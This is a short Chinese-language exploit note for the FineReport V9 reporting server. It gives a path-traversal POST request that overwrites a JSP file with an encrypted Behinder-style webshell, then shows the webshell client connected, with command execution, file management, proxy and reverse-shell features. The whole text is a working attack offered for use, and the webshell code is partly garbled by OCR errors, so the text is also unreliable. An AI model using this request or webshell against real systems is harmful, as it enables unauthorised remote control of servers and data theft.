帆软 V9getshell

FineReport V9

注意: 这个漏洞是任意文件覆盖,上传 JSP 马,需要找已存在的 jsp 文件进行覆盖 Tomcat 启动帆软后默认存在的 JSP 文件:

比如: /tomcat-7.0.96/webapps/ROOT/index.jsp

覆盖 Tomcat 自带 ROOT 目录下的 index.jsp:

POST /WebReport/ReportServer?

op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../WebReport/update.jsp HTTP/1.1

Host: 192.168.169.138:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/81.0.4044.92 Safari/537.36

Connection: close

Accept-Au: 0c42b2f264071be0507acea1876c74

Content-Type: text/xml;charset=UTF-8

Content-Length: 675

{"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends

ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return

 $super.defineClass(b,0,b.length);}}%><\%if(request.getParameter(\"pass\")!=null) {String}$

k=(\"\"+UUID.randomUUID()).replace(\"-

"""").substring(16);session.putValue(""u",k);out.print(k);return;}Cipher

c = Cipher.getInstance("AES"); c.init(2, new

SecretKeySpec((session.getValue("u")+"").getBytes(),"AES")); new

U(this.getClass().getClassLoader()).g(c.doFinal(new

sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstalline() and the sun of the s

nce().equals(pageContext);%>","_CHARSET_":"UTF-8"}

😪 http://192.168.169.138:8080/WebReport/update.jsp 🛮 冰螅 v2.0.1

URL: http://192.168.169.138:8080/WebReport/update.jsp

基本信息 命令执行 虚拟终端 文件管理 Socks代理 反弹Shell 数据库管理 自定义代码 备忘录

环境变量:

USERPROFILE=C:\Users\Administrator JAVA_HOME=C:\jdk1.7.0_80